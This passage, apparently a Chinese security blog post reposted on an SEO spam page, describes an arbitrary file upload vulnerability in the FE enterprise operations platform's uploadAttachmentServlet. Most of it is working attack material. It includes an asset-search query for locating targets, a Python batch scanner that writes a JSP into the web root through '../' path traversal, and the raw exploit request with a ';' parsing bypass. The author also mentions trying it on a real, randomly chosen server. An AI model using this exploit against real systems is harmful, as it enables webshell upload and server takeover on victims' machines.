当前位置: 首页 > news >正文

做网站的合作案例seo建站需求

做网站的合作案例,seo建站需求,做你的爱人3在线观看,临沂高端大气网站建设声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。 一、漏洞描述 企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云…

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云工作台。然而,该平台的uploadAttachmentServlet接口存在文件上传漏洞,这使得恶意攻击者有可能上传有害的后门程序或木马。这种攻击可能使得攻击者获得对服务器的远程访问权限,或者对系统造成破坏,给服务器带来严重的安全威胁。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"

2.使用poc批量扫描

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):"""生成包含n个字符的随机字符串。参数:n -- 字符串的长度返回值:随机生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检测URL是否存在上传漏洞
def check_vulnerability(url):"""检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数:url -- 待检测的URL无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。"""# 生成随机文件名filename = rand_base(6)# 构造上传URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 设置上传请求的头部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 构造上传请求的数据upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 发送访问请求response_access = requests.get(access_url, verify=False, timeout=30)# 检查上传和访问的响应,判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 程序入口
def main():# 解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

2.数据包分析 

  • 请求行:POST /servlet/uploadAttachmentServlet HTTP/1.1,表示这是一个POST请求,目标URL是/servlet/uploadAttachmentServlet,使用的HTTP协议版本是1.1。

  • 请求头:包括主机、用户代理、接受类型、接受语言、接受编码和连接等信息。

  • 请求体:包含两个部分,一个是文件内容,另一个是JSON数据。

    • 文件内容部分:

      • 边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk
      • 内容描述:Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp",表示上传的文件名为from.jsp,位于../../../jboss/web/fe.war/目录下。
      • 内容类型:Content-Type: text/plain,表示上传的文件类型为纯文本。
      • 文件内容:<% out.println("123123");%>,这是一个简单的JSP脚本,输出字符串"123123"。
    • JSON数据部分:

      • 边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk
      • 内容描述:Content-Disposition: form-data; name="json"
      • JSON数据:{"iq":{"query":{"UpdateType":"mail"}}},这是一个JSON对象,包含一个名为iq的对象,该对象又包含一个名为query的对象,最后这个query对象有一个名为UpdateType的属性,值为mail
  • 结束边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk--,表示请求体的结束。

3.结束跑路

使用yakit工具构造数据报发送

查看上传的文件,最后要用;结尾绕过解析。

访问上传的文件http://ip/from.jsp;

每篇一言:心向花开,何不朝夕。

http://www.mmbaike.com/news/25909.html

相关文章:

  • 网络维护需要会什么上海高玩seo
  • 挂机宝 可以做网站体验营销案例分析
  • 做建筑材料的网站有哪些西安seo顾问培训
  • 怎么做自动跳转网站日照seo优化
  • 网站能搜索到潍坊seo排名
  • 公司网站建设价格表seo成创网络
  • 石湾建网站seo收录排名
  • 网站seo优化如何做培训班学员培训心得
  • pdomysql wordpressseo网站排名优化教程
  • 遵义页面设计制作强强seo博客
  • 恒锐奇 做网站全网营销整合推广
  • 深圳知名网站建设平台短信营销
  • wordpress主题雪人yeti1.9.2网站优化公司排名
  • 导购类网站怎么做的沈阳专业关键词推广
  • 惠州悦商做网站厦门seo代理商
  • 网站开发小工具商业网站设计
  • go 语言 做网站网站优化策划书
  • 上海网站建设公司电话最新国际新闻 大事件
  • 专业微信网站建设公司首选北京网络seo经理
  • 网站规划课程设计模板如何做百度免费推广
  • 网站做代理还可以刷水吗天津抖音seo
  • 网站开发电销常遇到问题智能建站
  • 外贸网站怎么注册企业网站建设的一般要素
  • 手机网站开发费用流量精灵网页版
  • 徐东网站建设公司网络营销五种方法
  • 网站建设那家好软文推广多少钱一篇
  • 怎么找做网站的刷关键词排名系统
  • 购物网站后台管理系统百度投诉电话人工服务总部
  • 永州城乡建设网站关键词搜索优化外包
  • 速卖通跨境电商官网企业关键词排名优化哪家好